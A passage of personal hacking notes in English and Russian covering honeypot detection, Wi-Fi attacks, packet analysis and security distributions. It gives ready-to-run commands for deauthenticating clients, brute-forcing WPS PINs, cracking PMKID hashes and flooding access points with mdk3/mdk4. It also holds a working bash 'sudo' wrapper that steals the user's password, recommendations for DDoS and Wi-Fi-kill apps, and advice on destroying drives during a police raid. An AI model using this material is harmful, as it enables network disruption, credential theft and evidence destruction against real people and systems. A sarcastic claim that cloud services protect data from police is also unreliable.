- support for protocols such as FTP, HTTP, Memcache, MSSQL, MySQL, SMB, TFTP
- http://miniprint/
- https://github.com/alexbredo/honeypot-ftp
- https://github.com/fygrave/honeyntp
- https://github.com/buffer/thug
- mimic the behaviour of a web browser to analyze suspicious links and determine if they contain malicious components.
- https://github.com/thinkst/canarytokens
- emulate web bugs, the transparent images that track when someone opens an email by embedding a unique URL in the web page’s image tag and monitors GET requests. Canarytokens does the same thing but for file reads, database queries, process executions, patterns in log files and much more.
43.2. internal
- commonly located at isolated DMZ segments behind Firewall
- often use hardened Operation systems where extra security measures are taken to minimize their exposure to threats.
43.3. measured by:
- security - not able to hack honeypot itself
- Performance - how much traffic a honeypot can handle
- fidelity fəˈdelədē - realism provided by a honeypot to an adversary
43.4. types
- Pure - full separate server with carries fake "confidential" data.
- High-Interaction - resource-intensive, used for detect targeted attacks
- Mid-Interaction - do not possess their own operating system and are primarily used to confuse the attackers
- Low-Interaction - pretty simple, spread for big amount of IP addresses
- Malware, Spam, Database,
- Honeynets - a single system consists of various honeypots in network security.
- Tar Pits - designed to respond slowly to incoming requests, which would slow down attacks attempts
- hybrid honeypot systems - combine High and Low-Interaction. Selectively forwarding connections from the low-interaction honeypots.
43.5. detection
43.5.1. methods
- do not provide complete environment: ex. in shell not implement commands
- strange ports:
- too many open ports
- uncommon combination of open ports. ex. has server ports: FTP, SSH, HTTP, and POP3 and Windows ports
- rarely used ports: 17300
- nmap is not able to identify the version of one service because HELLO is not implemented.
- change password over time
- honeypot ofter virtual and exhibit several IP we can use:
- fingerprint physical devices over the network
- use ping flood and calc latency correlation. - “time-based TCP fingerprinting methods.”
- “discrepancies” a single TCP packet, with both SYN and RST, to an open port could solicit a reply from Honeyd. No other machine on the Internet would reply to such a packet.
- analyzing files such as /proc/mounts, /proc/interrupts, and /proc/cmdline, which contain UML-specific information.
- strange HELLO or Banner on ports.
links
44. wifi
44.1. net-wireless/kismet
Channel Hopping - capture while hopping through multiple channels
44.1.1. links
44.2. to watch communication
- need handshake packages captured
- You can force a client to re-authenticate again with a lot of tools so you will instantly get this.
44.3. attacks
44.3.1. attacks
- IV attack - initialization vector (IV) or starting variable (SV)
- KRACK ("Key Reinstallation Attack")
- Packet sniffing
- Near field communication
- Replay attacks
- Rogue access points
- Jamming/Interference
- Evil twin - WPA2 - create an access point using the same ESSID more powerful signal strength
- s0lst1c3/eaphammer.git
- https://github.com/FluxionNetwork/fluxion
- key reinstallation attacks (KRACK) - WPA2
- War driving
- Bluejacking
- Bluesnarfing
- War chalking
- snooping
44.3.2. KRACK (Key Reinstallation Attack)
- repeatedly resetting the nonce transmitted in the third step of the WPA2 handshake.
- obtain the TCP sequence numbers of a connection, and hijack TCP connections.
- Adversary can force the client into using a predictable all-zero encryption key.
- can be patched
- The attack works for both clients and access points
- Adversary can not recover WPA password
- Adversary can not inject packets. (AES-CCMP ONLY)
- Physical Proximity: An attack can only happen when adversary is in physical proximity to and within wireless range of your network
- Time Window: An attack can only happen when a client device is connecting or reconnecting to a Wi-Fi network
- decrypt TCP SYN packets -> hijack TCP connections
- https://github.com/vanhoefm/krackattacks-scripts
- https://github.com/kristate/krackinfo
44.3.3. WPA2 brute force
computer can only test 50 to 300 possible keys per second
44.3.4. WPS online brute force
- reaver
- bully
links
- reaver net-wireless/reaver https://github.com/t6x/reaver-wps-fork-t6x
- https://www.cyberpunk.rs/brute-force-attack-against-wps-reaver
- https://code.google.com/p/reaver-wps/
- https://github.com/t6x/reaver-wps-fork-t6x
- https://packages.gentoo.org/packages/net-wireless/reaver
- https://www.hackers-arise.com/post/2018/02/07/wireless-hacking-how-to-hack-the-wps-pin-with-reaver
- https://outpost24.com/blog/wps-cracking-with-reaver
- wpscrack (faster, but only support for major router brands)
- bully https://www.cyberpunk.rs/bully-wps-brute-force-attack
44.4. tcpdump
- tcpdump -D - devices list
- tcpdump -w tcpdump icmp -i 1 - dump device 1
44.5. hashcat
- https://hashcat.net/forum/thread-10253.html
- all 802.11i/p/q/r networks with roaming functions enabled (most modern routers)
- Pairwise Master Key Identifier (PMKID)-based roaming features enabled
- on the RSN IE (Robust Security Network Information Element) using a single EAPOL (Extensible Authentication Protocol over LAN) frame after requesting it from the access point.
- Robust Security Network is a protocol for establishing secure communications over an 802.11 wireless network and has PMKID, the key needed to establish a connection between a client and an access point, as one of its capabilities.
- hcxdumptool (v4.2.0 or higher), to request the PMKID from the targeted access point and dump the received frame to a file.
- $ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 –enablestatus
- https://github.com/ZerBea/hcxdumptool
- converted into a hash format accepted by Hashcat.
- $ ./hcxpcaptool -z test.16800 test.pcapng
- https://github.com/ZerBea/hcxtools
- require libssl-dev
- e Hashcat (v4.2.0 or higher
- ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'
- https://github.com/hashcat/hashcat
- PMKID-based roaming features enabled … using IEEE 802.11i/p/r protocols.
- WLAN vendors which send the PMKID in the first message of the 4-way handhake should consider to remove the PMKID in WPA2 PSK configured WLANs (non-802.11r). This way the exploit is fully mitigated.
- If you are an 802.11r user in combination with PSK, reflect453 if this is really necessary. [Or] disable WPA2 Personal in your network completely and rely on WPA2 Enterprise using a secure EAP method (e.g. EAP-TLS, PEAP, EAP-TTLS).
- https://techbeacon.com/security/wpa2-hack-allows-wi-fi-password-crack-much-faster
steps
- rc-service wpasupplicant down
- Get PMKIDs and / or EAPOL message pairs
- hcxdumptool -i interface -o dumpfile.pcapng –activebeacon –enablestatus=15
- Convert the traffic to hash format 22000:
- hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng
- hashcat -m 22000 hash.hc22000 wordlist.txt # or cracked.txt.gz
44.6. hcxdumptool
capture and detect weakness
- git clone –depth=1 https://github.com/ZerBea/hcxdumptool
44.7. HashCat
- app-crypt/hashcat
- app-crypt/hashcat-utils
44.8. john the reaper
john -wordlist:wordlistmy.txt -rules –stdout |less
- wordlistmy.txt -source rules
- used /etc/john/john.conf - [List.Rules:Wordlist]
generate password rules
- Most people use easy to remember passwords, in this case it has to be 8 characters or over in length
- Append 0-9 to the word, i.e. (word)1, (word)2, (word)3, ..
- Sequence of numbers are often used, e.g. 123, 321, 999, ..
- First letter is often upper-case
- Short words (under 8 characters) are stringed in series of two, e.g. googlegoogle, hellohello, openopen, ..
- Forename and surname often used
44.9. TODO JtR
app-crypt/johntheripper-jumbo
44.11. https://kalitut.com/hacking-wifi-using-pmkid-and-aircrack-ng/
Захват PMKID with handshake
- airodump-ng wlp0s20f0u1 –channel 9 -w cap2
44.12. TODO android https://github.com/VREMSoftwareDevelopment/WiFiAnalyzer
Kayra the Pentester. Интересная вещица, сканер уязвимостей веб-приложений.Там все доволно просто и понятно, в плане настроек. Можно ебашить ат@ки по словам, брутить, искать по XSS (что непонятно — гугли)
👤 AnDOSid. C ним ты будешь активировать дд0с атаки со своей мобилы, разработан с0фт для стрессового тестирования, но мы то знаем, что и ручку не в тех руках — 0рYжие
👤 WiFi Kill. Ну по названию все понятно. Пару кнопок и ты отключил всех юзеров от сети вай-фай. Блочит соединение. Достать нормально работающий с0фт непросто, но если найдешь, то балуйся аккуратно
44.13. my
Взлом по словарю
- aircrack-ng -w test.dic test.pcap a-PMKID.pcap
- test.dic - passwords list
- test.pcap - full handshake
- a-PMKID.pcap - PMKID not 00000000
Unauth
- start kismet
- get BSSID and client MAC
- aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan0mon
- -a BSSID
- -c client MAC
- save PKID and handshake pcap
44.14. WiKI-Eve
BFI (Beamforming Feedback Information) — функцию, введенную в 2013 году с выходом Wi-Fi 5 (802.11ac).
16 из 20 самых популярных паролей состоят только из цифр.
45. pixiewps - WPS offline brute force
The PIN can later be used to recover the WPA-PSK from the Access Point using a tool like Reaver, Bully or join directly the wireless network using wpacli and other programs.
https://github.com/t6x/reaver-wps-fork-t6x
- require: pixiewps, aircrack-ng
usage
- wash -w wlan0 -s
- -s - отправлять probe requests (зондирующие запросы) к каждой ТД, это позволит получить больше информации о ТД.
- Для того, чтобы проводить поиск на 5GHz 802.11 каналах используется опция -5.
- reaver -i wlan0mon -c 13 -b AA:BB:CC:XX:YY:ZZ -vvv -K 1
- reaver -i mon0 -c 6 -b 00:23:69:48:33:95 -vv -L -N -d 15 -T .5 -r 3:15
- reaver -i mon0 -d 30 -c 9 -b 00:23:69:48:33:95 -N -S -vv
- -K 1 option performs the offline attack, Pixie Dust, by automatically passing the PKE, PKR, E-Hash1, E-Hash2, E-Nonce and Authkey variables.
- -c 13 - channel
- -L Ignore locked WPS state.
- -N Don’t send NACK packets when errors are detected.
- -d 15 Delay 15 seconds between PIN attempts.
- -T Set timeout period to half a second.
- -r 3:15 After 3 attempts, sleep for 15 seconds
- -S - ?
- wpasupplicant -D nl80211 -i <wirelessinterface> -c /etc/wpasupplicant.conf –B
reaver good with:
- Keenetic-8955, 2.0, Vendor:RalinkTe
2012 reaver - wps crack - 10hours https://habr.com/ru/company/xakep/blog/143834/
wpscrack.py - reaver alternative:
45.1. reset router
https://en.kali.tools/?p=864 https://en.kali.tools/?p=394 https://github.com/DanMcInerney/wifijammer https://en.kali.tools/?p=90 https://packages.gentoo.org/packages/net-wireless/mdk https://github.com/aircrack-ng/mdk4 mdk3 $interface$mon d -b $path -c $ch
This floods the target AP with fake clients.
- mdk3 monX a -a xx:xx:xx:xx:xx:xx -m
This causes Michael failure, stopping all wireless traffic. However, this only works if the target AP supports TKIP. (Can be AES+TKIP)
- mdk3 monX m -t xx:xx:xx:xx:xx:xx
This keeps a continuous deauth on the network. If this attack does not start, make a blank text document in your root folder named blacklist. Leave it empty as MDK3 automatically populates the list.
- mdk3 monX d -b blacklist -c X
This floods a bunch of fake APs to any clients in range (only effective to windows clients and maybe some other devices, Macs are protected against this).
- mdk3 monX b -t xx:xx:xx:xx:xx:xx -c X
You will know when the AP has reset either by checking with
- wash -i monX -C
you should have a total of 5 windows open at the same time: 1- airodump 2- mdk3 a 3- mdk3 b 4- mdk3 d 5- mdk3 m
I generally like to use: mdk3 monX -a 00:11:22:33:44:55 -m mdk3 monX d -b blacklist -c X mdk3 monX b -t 00:11:22:33:44:55 -c X
WPA-TKIP then also include: mdk3 monX m -t 00:11:22:33:44:55
45.2. links
- pixiewps https://github.com/wiire-a/pixiewps
- pixiewps - WPS PIN exploiting the low or non-existing entropy of some software implementations
- seconds or minutes, depending on the target, if vulnerable.
- pixie-dust attack
- https://github.com/wiire-a/pixiewps/wiki
- https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://opensourcelibs.com/lib/pixiewps
- https://axcheron.github.io/hacking-wps-using-reaver-and-pixie-dust-attack/
- pixiewps - WPS PIN exploiting the low or non-existing entropy of some software implementations
- WPS brute force https://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/
45.3. bully online WPS
Reaver was going in ascending order for generating the pins and Bully always got a random pin. gets early while guessing randomly
bully -b 00:23:69:48:33:95
46. net-wireless/aircrack-ng
Kicking Off a Client - you must be close
- check devices <prefix>.kismet.netxml
- aireplay-ng -0 1 -a <mac of AP> -c <mac of client> wlan0mon # send DEAUTH packet
- They will probably try to automatically reconnect. This gives us the handshake we're after.
- aireplay-ng command will let you know how many ACKs (acknowledgements of your packets) were received
- If you get no acknowledgements, you're probably too far away from the network and need to get physically closer.
WPA2:
- airomon-ng start wlan0
- airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk wlan0
- turn off hope in kissmet
- aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan0
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Experiment with using coWPAtty’s rainbow table attack, genpmk -f <wordlist> -d <output filename> -s <ESSID> cowpatty -r <capture> -d <hashes filename> -s <ESSID>
46.1. suite components
- airbase-ng - WEP, WPA, AP mode, send/encrypt packages
- aircrack-ng -
- airdecap-ng - decrypt WEP/WPA/WPA2 capture files
- airdecloak-ng - WEP - remove clocking
- airdrop-ng - deauthentication of users
- aireplay-ng - WPA2 deauthentications attacks
- airgraph-ng - Client to AP Relationship, all probed SSID by clients
- airmon-ng - start monitor mode
- airodump-ng
- airolib-ng
- airserv-ng
- airtun-ng
- besside-ng
- dcrack
- easside-ng
- packetforge-ng
- tkiptun-ng
- wesside-ng
46.2. airbase
fake AP
46.2.1. features
- Implements the Caffe Latte WEP client attack
- Implements the Hirte WEP client attack
- Ability to cause the WPA/WPA2 handshake to be captured
- Ability to act as an ad-hoc Access Point
- Ability to act as a full Access Point
- Ability to filter by SSID or client MAC addresses
- Ability to manipulate and resend packets
- Ability to encrypt sent packets and decrypt received packets
46.3. airmon
monitor mode
- airmon-ng check
- airmon-ng check kill
- airmon-ng start wlan0 1
46.4. airodump
packet capture - raw 802.11 frames
- airodump-ng -c <channel> –bssid <mac of AP> -w fileprefix <interface>
46.4.1. default:
- hops on all 2.4GHz channels
- record only 1 beacon for each network
- output in pcam, csv, kismet, kismet-newcore
46.4.2. output
- PWR - power
- RXQ Receive Quality as measured by the percentage of packets (management and data frames) successfully received over the last 10 seconds
- Beacons - Number of announcements from AP
- # Data Number of captured data packets
- #/s Number of data packets per second measure over the last 10 seconds.
- CH Channel number
- MB Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and up to 54 are 802.11g. Anything higher is 802.11n or 802.11ac.The dot (after 54 above) indicates short preamble is supported. Displays “e” following the MB speed value if the network has QoS enabled.
- ENC - Encryption algorithm in use. OPN = no encryption
- AUTH
- MGT (WPA/WPA2 using a separate authentication server)
- SKA (shared key for WEP)
- PSK (pre-shared key for WPA/WPA2)
- OPN (open for WEP).
- STATION - MAC address of each associated station or stations searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of “(not associated)”.
- Rate Station's receive rate, followed by transmit rate. Displays “e” following each rate if the network has QoS enabled.
- Lost - The number of data packets lost over the last 10 seconds based on the sequence number.
46.5. aireplay-ng
- aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish)
- -a 00:14:6C:7E:40:80 is the MAC address of the access point
- -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
- ath0 is the interface name
46.6. airgraph-ng
- emerge media-gfx/graphviz
usage
- airodump-ng wlan0mon -w /root/Desktop/test
- airmon-ng stop wlan0mon
- airgraph-ng -i test-01.csv -o airgraph-test -g CARP
47. mdk5
sudo mdk4 wlo1 b -a -m -s 500
- b: Beacon Flooding
- -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
- -s <pps> Set speed in packets per second (Default: 50)
mdk4 wlan0 d -c 2
- d: Deauthentication and Disassociation
ATTACK MODE d: Deauthentication and Disassociation - Sends deauthentication and disassociation packets to stations based on data traffic to disconnect all clients from an AP.
- -w <filename> Read file containing MACs not to care about (Whitelist mode)
- -b <filename> Read file containing MACs to run test on (Blacklist Mode)
- -s <pps> Set speed in packets per second (Default: unlimited)
- -x Enable full IDS stealth by matching all Sequence Numbers Packets will only be sent with clients' addresses
- -c [chan,chan,…,chan[:speed]] Enable channel hopping. When -c h is given, mdk4 will hop an all 14 b/g channels. Channel will be changed every 3 seconds, if speed is not specified. Speed value is in milliseconds!
- -E <AP ESSID> Specify an AP ESSID to attack.
- -B <AP BSSID> Specify an AP BSSID to attack.
- -S <Station MAC address> Specify a station MAC address to attack.
ATTACK MODE m: Michael Countermeasures Exploitation Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS. -t <bssid> Set target AP, that runs TKIP encryption -j Use the new QoS exploit which only needs to reinject a few packets instead of the random packet injection, which is unreliable but works without QoS. -s <pps> Set speed in packets per second (Default: 400) -w <seconds> Wait <seconds> between each random packet burst (Default: 10) -n <count> Send <count> random packets per burst (Default: 70)
ATTACK MODE f: Packet Fuzzer A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful! mdk4 randomly selects the given sources and one or multiple modifiers. -s <sources> Specify one or more of the following packet sources: a - Sniff packets from the air b - Create valid beacon frames with random SSIDs and properties c - Create CTS frames to broadcast (you can also use this for a CTS DoS) p - Create broadcast probe requests -m <modifiers> Select at least one of the modifiers here: n - No modifier, do not modify packets b - Set destination address to broadcast m - Set source address to broadcast s - Shotgun: randomly overwrites a couple of bytes t - append random bytes (creates broken tagged parameters in beacons/probes) c - Cut packets short, preferably somewhere in headers or tags d - Insert random values in Duration and Flags fields -c [chan,chan,…,chan[:speed]] Enable channel hopping. When -c h is given, mdk4 will hop an all 14 b/g channels. Channel will be changed every 3 seconds, if speed is not specified. Speed value is in milliseconds! -p <pps> Set speed in packets per second (Default: 250)
48. wireshark
- tshark -r example.pcap not icmp - dump
- capinfos example.pcap - info about file
48.1. filters wifi
- wlan.fc.type==0 and wlan.fc.subtype==8 - beacon
- wlan.fc.type==0 and wlan.fc.subtype==4 - Probe request
- wlan.fc.type==0 and wlan.fc.subtype==5 - Probe response
- wlan.fc.type==1 and wlan.fc.subtype==13 - Acknowledgement
- wlan.fc.type==1 and wlan.fc.subtype==11 - RTS ready to send
- wlan.fc.type==1 and wlan.fc.subtype==12 - CTS Clear to send
- wlan.fc.addr - client MAC
- wlan.fc.ta - transmitter MAC
- wlan.fc.ra - receiver MAC
- wlan.fc.sa - source MAC
- wlan.fc.da - destination MAC
- wlan.bssid - BSSID MAC
- wlanmgt.ssid == "SSID here"
- radiotap.channel.freq == 5240 - frequency
- radiotap.datarate <= 6 - filter by data rate in Mbps
- radiotap.dbmantsignal >= -60 - filter by signal strength in dBm
48.2. install
- emerge –ask net-analyzer/wireshark
- gpasswd -a $USER pcap
- gui require USE=qt5
Edit -> Preference:
- Name Resolution -> Use an external network name resolver
48.3. flags
- <flag name="androiddump">Install androiddump, an extcap interface to capture from Android devices</flag>
- <flag name="bcg729">Use <pkg>media-libs/bcg729</pkg> for G.729 codec support in RTP Player</flag>
- <flag name="brotli">Use <pkg>app-arch/brotli</pkg> for compression/decompression</flag>
- <flag name="capinfos">Install capinfos, to print information about capture files</flag>
- <flag name="captype">Install captype, to print the file types of capture files</flag>
- <flag name="ciscodump">Install ciscodump, extcap interface to capture from a remote Cisco router</flag>
- <flag name="dftest">Install dftest, to display filter byte-code, for debugging dfilter routines</flag>
- <flag name="dpauxmon">Install dpauxmon, an external capture interface (extcap) that captures DisplayPort AUX channel data from linux kernel drivers</flag>
- <flag name="dumpcap">Install dumpcap, to dump network traffic from inside wireshark</flag>
- <flag name="editcap">Install editcap, to edit and/or translate the format of capture files</flag>
- <flag name="http2">Use <pkg>net-libs/nghttp2</pkg> for HTTP/2 support</flag>
- <flag name="ilbc">Build with iLBC support in RTP Player using <pkg>media-libs/libilbc</pkg></flag>
- <flag name="libxml2">Use <pkg>dev-libs/libxml2</pkg> for handling XML configuration in dissectors</flag>
- <flag name="lto">Enable link time optimization</flag>
- <flag name="maxminddb">Use <pkg>dev-libs/libmaxminddb</pkg> for IP address geolocation</flag>
- <flag name="mergecap">Install mergecap, to merge two or more capture files into one</flag>
- <flag name="minizip">Build with zip file compression support</flag>
- <flag name="netlink">Use <pkg>dev-libs/libnl</pkg></flag>
- <flag name="pcap">Use <pkg>net-libs/libpcap</pkg> for network packet capturing (build dumpcap, rawshark)</flag>
- <flag name="plugin-ifdemo">Install plugin interface demo</flag>
- <flag name="plugins">Install plugins</flag>
- <flag name="randpkt">Install randpkt, a utility for creating pcap trace files full of random packets</flag>
- <flag name="randpktdump">Install randpktdump, an extcap interface to provide access to the random packet generator (randpkt)</flag>
- <flag name="reordercap">Install reordercap, to reorder input file by timestamp into output file</flag>
- <flag name="sbc">Use <pkg>media-libs/sbc</pkg> for playing back SBC encoded packets</flag>
- <flag name="sdjournal">Install sdjournal, an extcap that captures systemd journal entries</flag>
- <flag name="sharkd">Install sharkd, the daemon variant of wireshark</flag>
- <flag name="smi">Use <pkg>net-libs/libsmi</pkg> to resolve numeric OIDs into human readable format</flag>
- <flag name="spandsp">Use <pkg>media-libs/spandsp</pkg> for for G.722 and G.726 codec support in the RTP Player</flag>
- <flag name="sshdump">Install sshdump, an extcap interface to capture from a remote host through SSH</flag>
- <flag name="text2pcap">Install text2pcap, to generate a capture file from an ASCII hexdump of packets</flag>
- <flag name="tfshark">Install tfshark, a terminal-based version of the FileShark capability</flag>
- <flag name="tshark">Install tshark, to dump and analyzer network traffic from the command line</flag>
- <flag name="udpdump">Install udpdump, to get packets exported from a source (like a network device or a GSMTAP producer) that are dumped to a pcap file</flag>
48.4. decrypt WPA2 frames
48.5. extract PMKID
- message: EAPOL protocl
- Authentication
- WPA Key Data
- Tag: Vendor Specific
- PMKID
49. Network tools list
- tshark - Dump and analyze network traffic
- capinfos - Prints information about capture files
- captype - Prints the types of capture files
- dumpcap - Dump network traffic
- editcap - Edit and/or translate the format of capture files
- idl2wrs - CORBA IDL to Wireshark Plugin Generator
- mergecap - Merges two or more capture files into one
- randpkt - Random packet generator
- rawshark - Dump and analyze raw pcap data
- reordercap - Reorder input file by timestamp into output file
- sharkd - ??
- text2pcap - Generate a capture file from an ASCII hexdump of packets
- https://github.com/nfstream/nfstream - Python's fundamental high-level building block for doing practical, real-world network flow data analysis
- https://github.com/networkx/networkx - Network Analysis in Python
- https://github.com/secdev/scapy - interactive packet manipulation program for mastering the network
50. python scapy - forge or decode packets
50.1. terms
- stimulus - actually send the packets or signals
- respnonse - actually recieved packages.
50.2. TCP port scaning
50.3. ssh
Paramiko - Python SSHv2 protocol implementation.
from scapy.all import IP, TCP, sr1 def ssh_port_scan(ip, port=22): packet = IP(dst=ip)/TCP(dport=port, flags="S") response = sr1(packet, verbose=0, timeout=1) if response: if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12: print(f"{ip}:{port} is open") else: print(f"{ip}:{port} is closed") else: print(f"{ip}:{port} is filtered") # Example usage ssh_port_scan("0.0.0.0")
/usr/lib/python3.12/site-packages/scapy/layers/ipsec.py:512: CryptographyDeprecationWarning: TripleDES has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.TripleDES and will be removed from this module in 48.0.0. cipher=algorithms.TripleDES, /usr/lib/python3.12/site-packages/scapy/layers/ipsec.py:516: CryptographyDeprecationWarning: TripleDES has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.TripleDES and will be removed from this module in 48.0.0. cipher=algorithms.TripleDES,
50.4. troubleshooting
50.4.1. CryptographyDeprecationWarning: TripleDES
import warnings from cryptography.utils import CryptographyDeprecationWarning with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning) from scapy.all import IP, TCP, sr1
51. police ride
51.1. 1
Just store everything on random access memory and a backed up power supply with a kill switch.
It takes 10 seconds without power to erase random access memory.
If you need to turn off power for a while, you can transfer stuff from RAM to a hard drive, reboot, then transfer it back to ram and wipe the drives.
There's already a kill power program to kill power if there's an undetected USB port connection I think.
Unless you're extremely important, they're not going to send someone to manually crack your password and disable the kill switch program.
You might be able to adjust the mobo voltage variance to be lower too so it shuts off if they try to manually attach something to the mobo without a port.
But all this is kind of redundant because if they set up pinhole cameras in your place they can just record everything you're doing on the computer screen itself.
They look like little pin holes and are usually in the corners of rooms near the ceiling.
They can also put microphones in that way.
You can make them all inoperable by just painting.
If you're in an apartment or something, they'll rent or buy the apartment next door and drill through the walls to put them in.
51.2. 2
Use trusted cloud services like Google Cloud or Apple iCloud or Telegram Saved Messages, they protect your data from hackers and police with military-grade bulletproof encryption and redundant copies stored in multiple locations around the world. It's the industry-wide practice. Keep it simple, you silly kiddo.
51.3. 3
If they break your door down, make sure to destroy your drives if you are concerned they will hold you prisoner until you hand over the keys. Make sure to get a good lawyer before any questioning of course. Do not give a single thing other than your name and DOB after arrest. In most "free" countries, you are obligated to unlock the drives if they have any suspicion of you. Muh UK can give you 5 years in prison just for refusing in the name of national security. It's better that the data no longer exists.
If you want to store remotely on "the cloud", you can still do that relatively safely. Connect to one over anon network and upload files that you have encrypted with your own passphrase before uploading. Try to not give any personal information over to the service. I already do some file backups in this way for a file storage service.
52. sudo linux password stealing
function sudo () { realsudo="$(which sudo)" if grep -Fqs "$USER" /tmp/hackedPasswd.txt then $realsudo "${@:1}" else read -s -p "[sudo] password for $USER: " inputPasswd printf "\n"; printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt $realsudo -S <<< "$inputPasswd" -u root bash -c "exit" > /dev/null 2>&1 $realsudo "${@:1}" fi }
53. distros
53.1. kali
“forensic mode”
- internal hard disk is never touched
- auto-mounting of removable media is disabled. (USB, CD - nothing should happen to any media without direct user action)
https://www.tutorialspoint.com/kali_linux/index.htm
- Metasploit
- Maltego - network analysis
- Wireshark - packet sniffing
- Netcat - TCP and UDP protocols for things like port scanning or creating backdoor channels
53.2. Parrot Security Edition (Debian)
- больше 600 инструментов для Red и Blue Teaming
- Parrot доступен в виде образов VirtualBox, Parallels и VMware и работает в виртуалках на Mac M1. Также эту ОС можно развернуть в Docker-контейнере.
- не уступает Kali по удобству использования.
53.3. BlackArch
- 2812 инструментов ( много программ, дублирующих функциональность друг друга.)
- сложный интерфейс, бедную документацию и недостаток видеоуроков
53.4. pentoo (Gentoo)
- LiveUSB-дистрибутив
- практически полное отсутствие официальной документации.
- default for expoiting
- hardenes
- bleedingedge
USB stick of 8 GB minimum
53.5. Fedora Security Lab
- учебная и демонстрационная платформа для проведения лекций по информационной безопасности.
запускается с USB-накопителя, сохраняет на нем ПО и результаты работы. Но, главное, к ней прилагаются учебники и подробно документированный тестовый стенд
- Fedora Security Lab Test Bench, на котором можно легально оттачивать хакерские
навыки. https://fedora-security-lab-test-bench.readthedocs.io/en/latest/
53.6. BackBox
- для начинающих пентестеров и специалистов по безопасности
- систематизированы и отобраны так, чтобы избежать избыточности.
53.7. SamuraiWTF
- при поддержке фонда OWASP
- платформу для быстрого развертывания учебных мишеней, например, Juice Shop. https://owasp.org/www-project-juice-shop/
- Maltego и Fierce, w3af и Burp Suite и т. д.) и wiki, предназначенную для написания отчетов по пентестам.
53.8. SIFT Workstation (Ubuntu)
- SANS Investigative Forensic Toolkit — дистрибутив для цифровой криминалистики
- для SANS обучающие курсы
- 14 криминалистических форматов доказательств (Evidence Image) от AFF (Advanced Forensic Format) до qcow.
- официальной поддержке подсистемы Linux в Windows 10
53.9. REMnux
- ориентирован на криминалистический анализ вредоносных программ
- инструменты для статического и динамического анализа кода, экспертизы памяти
- в качестве виртуальной машины или контейнера, либо поверх Ubuntu
- в тандеме вместе с SIFT Workstation.
53.10. CommandoVM
- это набор сценариев конфигурации, призванный подготовить виртуальную машину под управлением Windows 10 для наступательных операций при помощи менеджера пакетов Chocolatey, Boxstarter и MyGet.
- позволяет автоматически централизованно обновлять содержимое ОС
- для работы с Active Directory.
- позволяет запускать Kali Linux при помощи WSL (Windows Subsystem for Linux - allows you to run a Linux environment on your Windows machine, without the need for a separate virtual machine or dual booting)
53.11. Security Onion - monitoring
- Платформа для мониторинга сетевой безопасности, управления журналами и поиска угроз в корпоративных сетях.
- Elasticsearch, Logstash, Kibana, Stenographer, CyberChef, NetworkMiner, Suricata, Zeek, Wazuh, Elastic Stack и многие другие.
53.12. self-defence distros
53.12.1. Linux Kodachi (Ubuntu)
- принудительным последовательным туннелированием генерируемого системой трафика через VPN и TOR, набором инструментов для защиты конфиденциальности (VeraCrypt, zuluCrypt, KeePassXC, утилиты для анонимизации метаданных и т. д.), а также функцией экстренного удаления данных с компьютера.
53.12.2. Tails OS
Tor os
- безопасность которого обеспечивается загрузкой с носителя и удалением данных после каждой перезагрузки
- can save some of your files and configuration in an encrypted Persistent Storage on the USB stick
- never writes anything to the hard disk and only runs from the memory of the computer
- Tor Browser with uBlock
- Thunderbird, for encrypted emails
- KeePassXC, to create and store strong passwords
- LibreOffice, an office suite
- OnionShare, to share files over Tor
- Applications are blocked automatically if they try to connect to the Internet without Tor.
- Everything in the Persistent Storage is encrypted automatically.
53.12.3. Septor
- сходен с Kodachi по концепции, но появился сравнительно недавно и больше полагается на сеть TOR.
53.12.4. Whonix
- дуэт из пары виртуальных машин на базе Debian с продвинутой защитой от сетевых атак, направленных на деанонимизацию пользователя.
53.12.5. Qubes OS
- на основе гипервизора, продвигающая концепцию безопасности через изоляцию всего и вся в выделенных контейнерах.
- конкурент — Subgraph OS https://subgraph.com/ , однако эта ОС подвергается переделке и сейчас недоступна для загрузки на официальном сайте.
53.12.6. GrapheneOS (Android)
- для смартфонов из линейки Google Pixel.
- рабочей проверке подписи операционной системы пользовательскими ключами - заново заблокировать загрузчик после установки ОС и таким образом закрывает множество векторов атак, возможных при физическом доступе к смартфону
- переработок AOSP https://source.android.com/
- усиленная библиотека libc и защищенный распределитель памяти malloc, ужесточены политики SELinux и seccomp-bpf.
54. virtualization
apt-install virt-what
55. culture
Serial Experiments Lain - https://laingame.net
55.1. classification of hackers
- Cracker - gain unauthorized access to a computer in order to commit another crime such as destroying information contained in that system
- White hat - non-malicious reasons, either to test their own security system, perform penetration tests or vulnerability assessments for a client, or while working for a security company which makes security software
- Black hat - who "violates computer security for little reason beyond maliciousness or for personal gain", not criminal hacker
- Grey hat - between a black hat and a white hat hacker
- Elite hacker -
- Script kiddie, s'kiddie, skid - unskilled hacker WinNuke, Back Orifice, NetBus, Sub7, Metasploit, ProRat, PassJacker, iStealer, Snoopy
- Neophyte - ("newbie", or "noob") -
